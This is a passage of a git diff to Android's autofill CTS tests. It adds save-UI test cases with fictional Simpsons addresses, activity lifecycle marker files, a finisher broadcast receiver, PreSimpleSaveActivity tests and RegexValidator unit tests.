+                    .setField(ID_ADDRESS2, "Simpsons House")
+                    .build()
+        );
+    }
+
+    @Test
+    public void testDontShowSaveUiWhenUserManuallyFilled_multipleDatasetsDataOnFirst()
+            throws Exception {
+        saveWhenUserFilledDatasetFields(
+                new String[] {ID_ADDRESS1},
+                new String[] {ID_ADDRESS2},
+                () -> {
+                    mActivity.mAddress1.setText("742 Evergreen Terrace");
+                    mActivity.mAddress2.setText("Simpsons House");
+                },
+                EXPECT_NO_SAVE_UI,
+                new CannedDataset.Builder()
+                    .setPresentation(createPresentation("SF"))
+                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+                    .setField(ID_ADDRESS2, "Simpsons House")
+                    .build(),
+                new CannedDataset.Builder()
+                    .setPresentation(createPresentation("SV"))
+                    .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
+                    .setField(ID_ADDRESS2, "Shelbyville Bluffs")
+                    .build()
+        );
+    }
+
+    @Test
+    public void testDontShowSaveUiWhenUserManuallyFilled_multipleDatasetsDataOnSecond()
+            throws Exception {
+        saveWhenUserFilledDatasetFields(
+                new String[] {ID_ADDRESS1},
+                new String[] {ID_ADDRESS2},
+                () -> {
+                    mActivity.mAddress1.setText("Shelbyville Nuclear Power Plant");
+                    mActivity.mAddress2.setText("Shelbyville Bluffs");
+                },
+                EXPECT_NO_SAVE_UI,
+                new CannedDataset.Builder()
+                    .setPresentation(createPresentation("SF"))
+                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+                    .setField(ID_ADDRESS2, "Simpsons House")
+                    .build(),
+                new CannedDataset.Builder()
+                    .setPresentation(createPresentation("SV"))
+                    .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
+                    .setField(ID_ADDRESS2, "Shelbyville Bluffs")
+                    .build()
+        );
+    }
+
+    @Test
+    public void testShowSaveUiWhenUserManuallyFilled_requiredOnly()
+            throws Exception {
+        saveWhenUserFilledDatasetFields(
+                new String[] {ID_ADDRESS1},
+                new String[] {ID_ADDRESS2},
+                () -> {
+                    mActivity.mAddress1.setText("742 Evergreen Terrace");
+                },
+                EXPECT_SAVE_UI,
+                new CannedDataset.Builder()
+                    .setPresentation(createPresentation("SF"))
+                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+                    .setField(ID_ADDRESS2, "Simpsons House")
+                    .build()
+        );
+    }
+
+    @Test
+    public void testShowSaveUiWhenUserManuallyFilled_optionalOnly()
+            throws Exception {
+        saveWhenUserFilledDatasetFields(
+                new String[] {ID_ADDRESS1},
+                new String[] {ID_ADDRESS2},
+                () -> {
+                    mActivity.mAddress2.setText("Simpsons House");
+                },
+                EXPECT_SAVE_UI,
+                new CannedDataset.Builder()
+                    .setPresentation(createPresentation("SF"))
+                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+                    .setField(ID_ADDRESS2, "Simpsons House")
+                    .build()
+        );
+    }
+
+    private void saveWhenUserFilledDatasetFields(@NonNull String[] requiredIds,
+            @Nullable String[] optionalIds, @NonNull Runnable changes, boolean expectSaveUi,
+            @NonNull CannedDataset...datasets) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final CannedFillResponse.Builder response = new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_ADDRESS, requiredIds);
+        if (optionalIds != null) {
+            response.setOptionalSavableIds(optionalIds);
+        }
+        for (CannedDataset dataset : datasets) {
+            response.addDataset(dataset);
+        }
+        sReplier.addResponse(response.build());
+
+        // Trigger auto-fill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Manually fill it.
+        mActivity.syncRunOnUiThread(changes);
+
+        // Make sure the snack bar is not shown.
+        if (expectSaveUi) {
+            sUiBot.assertSaveShowing(SAVE_DATA_TYPE_ADDRESS);
+        } else {
+            sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_ADDRESS);
+        }
+
+        // ...then tap save.
+        mActivity.save();
+
+        // Assert the snack bar is not shown.
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_ADDRESS);
+    }
+
+    @Test
+    public void testDontShowSaveUiWhenUserClearedAutofilledFieldThatIsRequired() throws Exception {
+        // Set service.
+        enableService();
+
+        mActivity.expectAutoFill("742 Evergreen Terrace", "Simpsons House",
+                "Springfield", "Yellow");
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_ADDRESS, ID_ADDRESS1, ID_ADDRESS2)
+                .setOptionalSavableIds(ID_CITY)
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("SF"))
+                        .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+                        .setField(ID_ADDRESS2, "Simpsons House")
+                        .setField(ID_CITY, "Springfield")
+                        .setField(ID_FAVORITE_COLOR, "Yellow")
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
+        sReplier.getNextFillRequest();
+
+        sUiBot.selectDataset("SF");
+        mActivity.assertAutoFilled();
+
+        // Clear the field.
+        mActivity.syncRunOnUiThread(() -> mActivity.mAddress2.setText(""));
+
+        // Trigger save...
+        mActivity.save();
+
+        // ...and make sure the snack bar is not shown.
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_ADDRESS);
+    }
+
+    @Test
+    public void testShowSaveUiWhenUserClearedAutofilledFieldThatIsOptional() throws Exception {
+        // Set service.
+        enableService();
+
+        mActivity.expectAutoFill("742 Evergreen Terrace", "Simpsons House",
+                "Springfield", "Yellow");
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_ADDRESS, ID_ADDRESS1, ID_ADDRESS2)
+                .setOptionalSavableIds(ID_CITY)
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("SF"))
+                        .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+                        .setField(ID_ADDRESS2, "Simpsons House")
+                        .setField(ID_CITY, "Springfield")
+                        .setField(ID_FAVORITE_COLOR, "Yellow")
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
+        sReplier.getNextFillRequest();
+
+        sUiBot.selectDataset("SF");
+        mActivity.assertAutoFilled();
+
+        // Clear the field.
+        mActivity.syncRunOnUiThread(() -> mActivity.mCity.setText(""));
+
+        // Trigger save...
+        mActivity.save();
+
+        // ...and make sure the snack bar is shown.
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_ADDRESS);
+
+        // Finally, assert values.
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_ADDRESS1),
+                "742 Evergreen Terrace");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_ADDRESS2),
+                "Simpsons House");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_CITY), "");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_FAVORITE_COLOR),
+                "Yellow");
+    }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java
index 6dd2d11..2ec6655 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java
@@ -16,11 +16,11 @@
 
 package android.autofillservice.cts;
 
+import android.app.Activity;
 import android.content.Context;
+import android.os.Bundle;
 import android.support.annotation.NonNull;
 import android.support.annotation.Nullable;
-import android.app.Activity;
-import android.os.Bundle;
 import android.util.Log;
 
 import java.io.File;
@@ -30,35 +30,63 @@
  * Simple activity showing R.layout.login_activity. Started outside of the test process.
  */
 public class OutOfProcessLoginActivity extends Activity {
-    private static final String LOG_TAG = OutOfProcessLoginActivity.class.getSimpleName();
+    private static final String TAG = "OutOfProcessLoginActivity";
+
+    private static OutOfProcessLoginActivity sInstance;
 
     @Override
     protected void onCreate(@Nullable Bundle savedInstanceState) {
-        Log.i(LOG_TAG, "onCreate(" + savedInstanceState + ")");
+        Log.i(TAG, "onCreate(" + savedInstanceState + ")");
         super.onCreate(savedInstanceState);
 
         setContentView(R.layout.login_activity);
 
-        findViewById(R.id.login).setOnClickListener((v) -> {
-            finish();
-        });
+        findViewById(R.id.login).setOnClickListener((v) -> finish());
+
+        sInstance = this;
+    }
+
+    @Override
+    protected void onStart() {
+        Log.i(TAG, "onStart()");
+        super.onStart();
+        try {
+            if (!getStartedMarker(this).createNewFile()) {
+                Log.e(TAG, "cannot write started file");
+            }
+        } catch (IOException e) {
+            Log.e(TAG, "cannot write started file: " + e);
+        }
     }
 
     @Override
     protected void onStop() {
-        Log.i(LOG_TAG, "onStop()");
+        Log.i(TAG, "onStop()");
         super.onStop();
 
         try {
-            getStoppedMarker(this).createNewFile();
+            if (!getStoppedMarker(this).createNewFile()) {
+                Log.e(TAG, "could not write stopped marker");
+            } else {
+                Log.v(TAG, "wrote stopped marker");
+            }
         } catch (IOException e) {
-            Log.e(LOG_TAG, "cannot write stopped filed");
+            Log.e(TAG, "could write stopped marker: " + e);
         }
     }
 
     @Override
     protected void onDestroy() {
-        Log.i(LOG_TAG, "onDestroy()");
+        Log.i(TAG, "onDestroy()");
+        try {
+            if (!getDestroyedMarker(this).createNewFile()) {
+                Log.e(TAG, "could not write destroyed marker");
+            } else {
+                Log.v(TAG, "wrote destroyed marker");
+            }
+        } catch (IOException e) {
+            Log.e(TAG, "could write destroyed marker: " + e);
+        }
         super.onDestroy();
     }
 
@@ -71,4 +99,31 @@
     @NonNull public static File getStoppedMarker(@NonNull Context context) {
         return new File(context.getFilesDir(), "stopped");
     }
+
+    /**
+     * Get the file that signals that the activity has entered {@link Activity#onStart()}.
+     *
+     * @param context Context of the app
+     * @return The marker file that is written onStart()
+     */
+    @NonNull public static File getStartedMarker(@NonNull Context context) {
+        return new File(context.getFilesDir(), "started");
+    }
+
+   /**
+     * Get the file that signals that the activity has entered {@link Activity#onDestroy()}.
+     *
+     * @param context Context of the app
+     * @return The marker file that is written onDestroy()
+     */
+    @NonNull public static File getDestroyedMarker(@NonNull Context context) {
+        return new File(context.getFilesDir(), "destroyed");
+    }
+
+    public static void finishIt() {
+        Log.v(TAG, "Finishing " + sInstance);
+        if (sInstance != null) {
+            sInstance.finish();
+        }
+    }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivityFinisherReceiver.java b/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivityFinisherReceiver.java
new file mode 100644
index 0000000..b75785e
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivityFinisherReceiver.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+/**
+ * A {@link BroadcastReceiver} that finishes {@link OutOfProcessLoginActivity}.
+ */
+public class OutOfProcessLoginActivityFinisherReceiver extends BroadcastReceiver {
+
+    private static final String TAG = "OutOfProcessLoginActivityFinisherReceiver";
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        Log.i(TAG, "Goodbye, unfinished business!");
+        OutOfProcessLoginActivity.finishIt();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivity.java b/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivity.java
new file mode 100644
index 0000000..5cdcf9b
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivity.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import android.content.Intent;
+import android.os.Bundle;
+import android.widget.Button;
+import android.widget.EditText;
+import android.widget.TextView;
+
+/**
+ * A simple activity that upon submission launches {@link SimpleSaveActivity}.
+ */
+public class PreSimpleSaveActivity extends AbstractAutoFillActivity {
+
+    static final String ID_PRE_LABEL = "preLabel";
+    static final String ID_PRE_INPUT = "preInput";
+
+    TextView mPreLabel;
+    EditText mPreInput;
+    Button mSubmit;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.pre_simple_save_activity);
+
+        mPreLabel = findViewById(R.id.preLabel);
+        mPreInput = findViewById(R.id.preInput);
+        mSubmit = findViewById(R.id.submit);
+
+        mSubmit.setOnClickListener((v) -> {
+            finish();
+            startActivity(new Intent(this, SimpleSaveActivity.class));
+        });
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivityTest.java
new file mode 100644
index 0000000..b193ddf
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivityTest.java
@@ -0,0 +1,333 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.assertTextAndValue;
+import static android.autofillservice.cts.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.LoginActivity.ID_USERNAME_CONTAINER;
+import static android.autofillservice.cts.PreSimpleSaveActivity.ID_PRE_INPUT;
+import static android.autofillservice.cts.SimpleSaveActivity.ID_INPUT;
+import static android.autofillservice.cts.SimpleSaveActivity.ID_LABEL;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_EMAIL_ADDRESS;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+
+import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
+import android.content.Intent;
+import android.support.test.uiautomator.UiObject2;
+import android.view.View;
+
+import org.junit.Rule;
+
+public class PreSimpleSaveActivityTest extends CustomDescriptionWithLinkTestCase {
+
+    @Rule
+    public final AutofillActivityTestRule<PreSimpleSaveActivity> mActivityRule =
+            new AutofillActivityTestRule<PreSimpleSaveActivity>(PreSimpleSaveActivity.class, false);
+
+    private PreSimpleSaveActivity mActivity;
+
+    private void startActivity(boolean remainOnRecents) {
+        final Intent intent = new Intent(mContext, PreSimpleSaveActivity.class);
+        if (remainOnRecents) {
+            intent.setFlags(
+                    Intent.FLAG_ACTIVITY_RETAIN_IN_RECENTS | Intent.FLAG_ACTIVITY_NEW_DOCUMENT);
+        }
+        mActivity = mActivityRule.launchActivity(intent);
+    }
+
+    @Override
+    protected void saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction type)
+            throws Exception {
+        startActivity(false);
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setCustomDescription(newCustomDescription(WelcomeActivity.class))
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PRE_INPUT)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mPreInput.requestFocus());
+        sReplier.getNextFillRequest();
+        Helper.assertHasSessions(mPackageName);
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mPreInput.setText("108");
+            mActivity.mSubmit.performClick();
+        });
+        // Make sure post-save activity is shown...
+        sUiBot.assertShownByRelativeId(ID_INPUT);
+
+        // Tap the link.
+        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
+        tapSaveUiLink(saveUi);
+
+        // Make sure new activity is shown...
+        WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // .. then do something to return to previous activity...
+        switch (type) {
+            case ROTATE_THEN_TAP_BACK_BUTTON:
+                sUiBot.setScreenOrientation(UiBot.LANDSCAPE);
+                // not breaking on purpose
+            case TAP_BACK_BUTTON:
+                sUiBot.pressBack();
+                break;
+            case FINISH_ACTIVITY:
+                // ..then finishes it.
+                WelcomeActivity.finishIt();
+                break;
+            default:
+                throw new IllegalArgumentException("invalid type: " + type);
+        }
+
+        // ... and tap save.
+        final UiObject2 newSaveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
+        sUiBot.saveForAutofill(newSaveUi, true);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PRE_INPUT), "108");
+    }
+
+    @Override
+    protected void tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction action,
+            boolean manualRequest) throws Exception {
+        startActivity(false);
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setCustomDescription(newCustomDescription(WelcomeActivity.class))
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PRE_INPUT)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mPreInput.requestFocus());
+        sReplier.getNextFillRequest();
+        Helper.assertHasSessions(mPackageName);
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mPreInput.setText("108");
+            mActivity.mSubmit.performClick();
+        });
+        // Make sure post-save activity is shown...
+        sUiBot.assertShownByRelativeId(ID_INPUT);
+
+        // Tap the link.
+        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
+        tapSaveUiLink(saveUi);
+
+        // Make sure new activity is shown...
+        WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // Tap back to restore the Save UI...
+        sUiBot.pressBack();
+
+        // ...but don't tap it...
+        final UiObject2 saveUi2 = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // ...instead, do something to dismiss it:
+        switch (action) {
+            case TOUCH_OUTSIDE:
+                sUiBot.assertShownByRelativeId(ID_LABEL).longClick();
+                break;
+            case TAP_NO_ON_SAVE_UI:
+                sUiBot.saveForAutofill(saveUi2, false);
+                break;
+            case TAP_YES_ON_SAVE_UI:
+                sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+                final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+                assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PRE_INPUT),
+                        "108");
+                Helper.assertNoDanglingSessions();
+                break;
+            default:
+                throw new IllegalArgumentException("invalid action: " + action);
+        }
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // Make sure previous session was finished.
+        Helper.assertNoDanglingSessions();
+
+        // Now triggers a new session in the new activity (SaveActivity) and do business as usual...
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_EMAIL_ADDRESS, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        final SimpleSaveActivity newActivty = SimpleSaveActivity.getInstance();
+        if (manualRequest) {
+            newActivty.getAutofillManager().requestAutofill(newActivty.mInput);
+        } else {
+            newActivty.syncRunOnUiThread(() -> newActivty.mPassword.requestFocus());
+        }
+
+        sReplier.getNextFillRequest();
+        Helper.assertHasSessions(mPackageName);
+
+        // Trigger save.
+        newActivty.syncRunOnUiThread(() -> {
+            newActivty.mInput.setText("42");
+            newActivty.mCommit.performClick();
+        });
+        // Make sure post-save activity is shown...
+        sUiBot.assertShownByRelativeId(ID_INPUT);
+
+        // Save it...
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_EMAIL_ADDRESS);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "42");
+    }
+
+    @Override
+    protected void saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction type)
+            throws Exception {
+        startActivity(type == PostSaveLinkTappedAction.TAP_RECENTS);
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setCustomDescription(newCustomDescription(WelcomeActivity.class))
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PRE_INPUT)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mPreInput.requestFocus());
+        sReplier.getNextFillRequest();
+        Helper.assertHasSessions(mPackageName);
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mPreInput.setText("108");
+            mActivity.mSubmit.performClick();
+        });
+        // Make sure post-save activity is shown...
+        sUiBot.assertShownByRelativeId(ID_INPUT);
+
+        // Tap the link.
+        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
+        tapSaveUiLink(saveUi);
+
+        // Make sure linked activity is shown...
+        WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        switch (type) {
+            case TAP_RECENTS:
+                sUiBot.switchAppsUsingRecents();
+                // Make sure right activity is showing.
+                sUiBot.assertShownByRelativeId(ID_INPUT);
+                break;
+            case LAUNCH_PREVIOUS_ACTIVITY:
+                startActivity(PreSimpleSaveActivity.class);
+                sUiBot.assertShownByRelativeId(ID_INPUT);
+                break;
+            case LAUNCH_NEW_ACTIVITY:
+                // Launch a 3rd activity...
+                startActivity(LoginActivity.class);
+                sUiBot.assertShownByRelativeId(ID_USERNAME_CONTAINER);
+                // ...then go back
+                sUiBot.pressBack();
+                sUiBot.assertShownByRelativeId(ID_INPUT);
+                break;
+            default:
+                throw new IllegalArgumentException("invalid type: " + type);
+        }
+
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+    }
+
+    @Override
+    protected void tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest()
+            throws Exception {
+        // Prepare activity.
+        startActivity(false);
+        mActivity.mPreInput.getRootView()
+                .setImportantForAutofill(View.IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS);
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setCustomDescription(newCustomDescription(TrampolineWelcomeActivity.class))
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PRE_INPUT)
+                .build());
+
+        // Trigger autofill.
+        mActivity.getAutofillManager().requestAutofill(mActivity.mPreInput);
+        sReplier.getNextFillRequest();
+        Helper.assertHasSessions(mPackageName);
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mPreInput.setText("108");
+            mActivity.mSubmit.performClick();
+        });
+        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
+
+        // Tap the link.
+        tapSaveUiLink(saveUi);
+
+        // Make sure new activity is shown...
+        WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+
+        // Save UI should be showing as well, since Trampoline finished.
+        sUiBot.assertSaveShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // Go back and make sure it's showing the right activity.
+        sUiBot.pressBack();
+        sUiBot.assertShownByRelativeId(ID_INPUT);
+
+        // Now triggers a new session in the new activity (SaveActivity) and do business as usual...
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_EMAIL_ADDRESS, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        final SimpleSaveActivity newActivty = SimpleSaveActivity.getInstance();
+        newActivty.getAutofillManager().requestAutofill(newActivty.mInput);
+
+        sReplier.getNextFillRequest();
+        Helper.assertHasSessions(mPackageName);
+
+        // Trigger save.
+        newActivty.syncRunOnUiThread(() -> {
+            newActivty.mInput.setText("42");
+            newActivty.mCommit.performClick();
+        });
+        // Make sure post-save activity is shown...
+        sUiBot.assertShownByRelativeId(ID_INPUT);
+
+        // Save it...
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_EMAIL_ADDRESS);
+
+        // ... and assert results
+        final SaveRequest saveRequest1 = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest1.structure, ID_INPUT), "42");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/RegexValidatorTest.java b/tests/autofillservice/src/android/autofillservice/cts/RegexValidatorTest.java
new file mode 100644
index 0000000..f7ac268
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/RegexValidatorTest.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.when;
+import static org.testng.Assert.assertThrows;
+
+import android.service.autofill.RegexValidator;
+import android.service.autofill.ValueFinder;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.autofill.AutofillId;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class RegexValidatorTest {
+
+    @Test
+    public void allNullConstructor() {
+        assertThrows(NullPointerException.class, () -> new RegexValidator(null, null));
+    }
+
+    @Test
+    public void nullRegexConstructor() {
+        assertThrows(NullPointerException.class,
+                () -> new RegexValidator(new AutofillId(1), null));
+    }
+
+    @Test
+    public void nullAutofillIdConstructor() {
+        assertThrows(NullPointerException.class,
+                () -> new RegexValidator(null, Pattern.compile(".")));
+    }
+
+    @Test
+    public void unknownField() {
+        AutofillId unknownId = new AutofillId(42);
+
+        RegexValidator validator = new RegexValidator(unknownId, Pattern.compile(".*"));
+
+        ValueFinder finder = mock(ValueFinder.class);
+
+        when(finder.findByAutofillId(unknownId)).thenReturn(null);
+        assertThat(validator.isValid(finder)).isFalse();
+    }
+
+    @Test
+    public void singleFieldValid() {
+        AutofillId creditCardFieldId = new AutofillId(1);
+        RegexValidator validator = new RegexValidator(creditCardFieldId,
+                Pattern.compile("^\\s*\\d{4}[\\s-]?\\d{4}[\\s-]?\\d{4}[\\s-]?(\\d{4})\\s*$"));
+
+        ValueFinder finder = mock(ValueFinder.class);
+
+        when(finder.findByAutofillId(creditCardFieldId)).thenReturn("1234 5678 9012 3456");
+        assertThat(validator.isValid(finder)).isTrue();
+
+        when(finder.findByAutofillId(creditCardFieldId)).thenReturn("invalid");
+        assertThat(validator.isValid(finder)).isFalse();
+    }
+
+    @Test
+    public void singleFieldInvalid() {
+        AutofillId id = new AutofillId(1);
+        RegexValidator validator = new RegexValidator(id, Pattern.compile("\\d*"));
+
+        ValueFinder finder = mock(ValueFinder.class);
+
+        when(finder.findByAutofillId(id)).thenReturn("123a456");
+
+        // Regex has to match the whole value
+        assertThat(validator.isValid(finder)).isFalse();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/RetryRule.java b/tests/autofillservice/src/android/autofillservice/cts/RetryRule.java
index 5955d4f..be740b1 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/RetryRule.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/RetryRule.java
@@ -16,9 +16,8 @@
 
 package android.autofillservice.cts;
 
-import android.util.Log;
-
 import android.support.test.uiautomator.StaleObjectException;
+import android.util.Log;
 
 import org.junit.rules.TestRule;
 import org.junit.runner.Description;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/RetryableException.java b/tests/autofillservice/src/android/autofillservice/cts/RetryableException.java
index 9b9d651..7ca7d62 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/RetryableException.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/RetryableException.java
@@ -26,6 +26,10 @@
     }
 
     public RetryableException(String format, Object...args) {
-        this(String.format(format, args));
+        super(String.format(format, args));
